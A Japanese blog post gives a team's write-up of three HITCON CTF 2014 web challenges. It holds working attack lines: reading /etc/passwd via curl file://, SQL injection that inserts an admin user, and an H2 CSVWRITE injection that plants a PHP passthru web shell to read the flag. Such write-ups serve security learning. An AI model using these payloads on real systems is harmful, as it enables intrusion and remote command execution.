2014年8月18日月曜日

HITCON CTF 2014

チームfuzzi3として参加しました。/^o^\フッジサーン

チーム結成の経緯は@akiymさん(dodododo)のお誘いから始まりました。



dodododo + newbie(@horityさん、ぼく)で一緒に出ようという流れから@bata_24さん(katagaitai)、
@yagihashooさん(********)、@potetisenseiさん(ED)などなどが続々と加わり、
最終的には下記のチームと個人の連合になりました。(順不同)
dodododo、newbie、katagaitai、********、ED、superflip、0x0、CureSecure、わたあめさん(@_wata1221)、eggpodさん(@int03)、ucqさん(@ucq)、きくちゃんさん(@kikuchan98)
そして、チーム名はこんな感じで決まりました。(名付け親 @horityさん)


自分はWeb担当の1人として尽力しました。以下そのwriteupです。

DIAGCGI


ping,tracert,curlを実行できるWebシェルを与えらました。
とりあえず、htmlソースを眺めると

<!-- <input name="action" type="submit" value="shell"> -->
とかあったので、直接action=shellを叩き込みました。
結果、sorry guest! you're not admin!と謝られました。客ではダメなようです。
curlはfile://スキーマが使えるので、とりあえずfile:///etc/passwdを指定してcurlを実行したところ、
/etc/passwdを取得出来ました。続いてwebシェルのソースを取得しようとしたのですが、
/var/www/cgi-binには無く、Apache httpdの設定を見て特定しようと頑張っていたところ、
@akiymさんが速攻でWebシェルのソースコードを取得してくれました。
/usr/lib/cgi-bin/dana-na.cgi にあったそうです。(ubuntuのデフォルト)
ここからは@akiymさんの独壇場で、dana-na.cgiに任意のperlコードを実行する術を確立してもらいました。
@akiymさんとワイワイしながらshell奪取&FLAG探索していたところ、@hhc0nullさんが華麗にFLAGを見つけてくれました。
ルートディレクトリに/key.txtと/read_keyがあり、

/read_key /key.txt
を実行するだけだったようです。三人寄れば文殊の知恵ですね。

PY4H4SHER


自身のソースコードをダウンロード出来るWebサービスを与えられました。
まず、ダウンロードを実行するにあたり、パラメータのchecksumが検証されます。
from secret_file import SECRET # 160 bytes secret
省略
request = cgi.FieldStorage()
checksum  = request.getvalue('checksum') or ''
query_str = getenv('QUERY_STRING')
if _md5( SECRET + query_str ) == checksum:
    mode = request.getvalue('mode') or ''

    if mode == 'download':
        filename = request.getvalue('filename') or ''
        filename = os.path.basename( filename )

SECRETは160 bytesと明記してくれていたので、Length Extension Attackは自明でした。
また、ダウンロードするファイル名はos.path.basenameされるので、ディレクトリトラバーサルは諦めました。
ダウンロード以外にも機能があり、mode=evalでfilename値をhexしてevalしてくれるみたいです。
そもそも、Length Extension Attackではmode=eval出来そうにないのでこれは早々に諦めました。
    elif mode == 'eval':
        bad_string = request.getvalue('filename') or ''
        good_string = bad_string.encode('hex')
        eval(good_string)

最後にstage1-3に適切な値を入れるとFLAGが出てくる機能です。
modeは必要ないのでこれしか無いと踏みました。
def _pbkdf2(text):
    return pbkdf2(text, 'noggnogg', 1337).encode('hex').lower()

def m_hash(password):
    nr = int( 'P0W5'.encode('hex'), 16 )
    add = 7
    nr2 = 305419889

    for c in (ord(x) for x in password if x not in (' ', '\t')):
        nr^= (((nr & 63)+add)*c)+ (nr << 8) & 0xFFFFFFFF
        nr2= (nr2 + ((nr2 << 8) ^ nr)) & 0xFFFFFFFF
        add= (add + c) & 0xFFFFFFFF
省略
    else:
        stage1 = request.getvalue('stage1') or ''
        if m_hash(stage1) != '4141414141414141':
            gotoFail()

        ### 
        
        plaintext = getenv('HTTP_USER_AGENT')
        stage2 = request.getvalue('stage2') or ''
        if stage2 == plaintext:
            gotoFail()
        
        if _pbkdf2(plaintext) != _pbkdf2(stage2):
            gotoFail()

        ###

        stage3 = request.getvalue('stage3') or ''
        stage3 = stage3[0]+stage3[1]+stage3[3]+stage3[5]
        if _md5( stage3 ) != '90954349a0e42d8e4426a4672bde16b9':
            gotoFail()

        ###

        print 'Congrat! The flag is', 
        print 'HITCON{%s}' % FLAG
stage1はMySQLの旧ハッシュ関数だったそうです。stage2を含め、@nolzeさんに攻略してもらいました。つよかったです。
stage3については、cgi.FieldStorage()のソースコードを解析し、
stage3=AAA&stage3=BBB&stage3=CCC...
という具合でクエリを投げると、配列になることが解りました。
90954349a0e42d8e4426a4672bde16b9はmd5(enigma)でした。ググるだけです。
あとはstage1-3、checksumを組み立てるだけです。
HITCON{th1s_1s_bas1c_cha11enge_f0r_p3nt3st3r!}

PUSHIN CAT(解けてないけど)


単純なユーザ登録&ログインフォームを与えられました。
登録してログインすると「Get Flag」とかいうリンクがあり、踏むと
You are not admin 
from IPアドレス
と返ってきます。色々試してみると、これは登録時のIPアドレスだと解りました。
また、登録時にpassword='とか投げてみると「query error」と返ってきました。
insert文にsqliすればいいことは自明です。
password=pass',version())--
で、IPアドレス部分に
PostgreSQL 8.1.4 server protocol using H2 1.4.178 (2014-05-02)
が入りました。PostgreSQLであることは自明です。皆さんもそう思いますよね?
あとは@akiymさん、@xrekkusuさんとワイワイやりながら、
見事adminユーザを作成&ログインすることに成功しました。

a','a'); insert into USERS (ROLE, USERNAME, PASSWORD, IP) values ('admin', 'おなまえ', 'ぱすわーど', '適当')--
三人寄れば文殊の知恵ですね。
そしてadminで「Get Flag」を踏んだところ、「Give me shell,plz.」というありがたいメッセージを得ました。
むしゃくしゃしたので
create table FLAG ( FLAG text );
insert into FLAG (FLAG) values ('HITCON{7354bf3789034a52610f62b8fecca104}');
を叩き込みました。反省はしていません。
shellを取得するためにはファイルの読み書きが必須だと考え、
copyコマンドなど試していたのですが尽くquery errorに…。
FILE権限的なものが無いと考え、みんなでワイワイしてたのですが結局解けませんでした。
つらかったです。
競技終了後、IRCで次のようなメッセージが流れてきたそうです。
13:20 orange_: pushin cat is h2 database
13:20 orange_: not postgre
小一時間ほど何を言っているのか理解出来ませんでした。
よくよく調べてみるとh2 databaseには主要RDBMSと互換出来る機能があるらしいです。
参考 http://www.h2database.com/html/features.html#compatibility
次のようなクエリを投げてみました。

a',CSVWRITE('/var/www/html/秘密.php', 'select ''<?php passthru($_GET[c]);?>'''))--
ファイル書き込み成功しました。
/秘密.php?c=cat+/home/theflag/fl4g.txtしたらFLAG出てきました。ハァハァつらい
HITCON{meow_m3ow_me0w_m30w}

fuzzi3ハイライト


その他

SECCON以外はぼっちでCTFに挑んでいたので、今回の大所帯でのCTFは新鮮ですごく楽しかったです。
HITCON CTFのようなCTFがあれば、またみんなでワイワイやりたいです。
最後に、リーダー@akiymさん、fuzzi3各位、楽しい時間をありがとうございましたm(_ _)m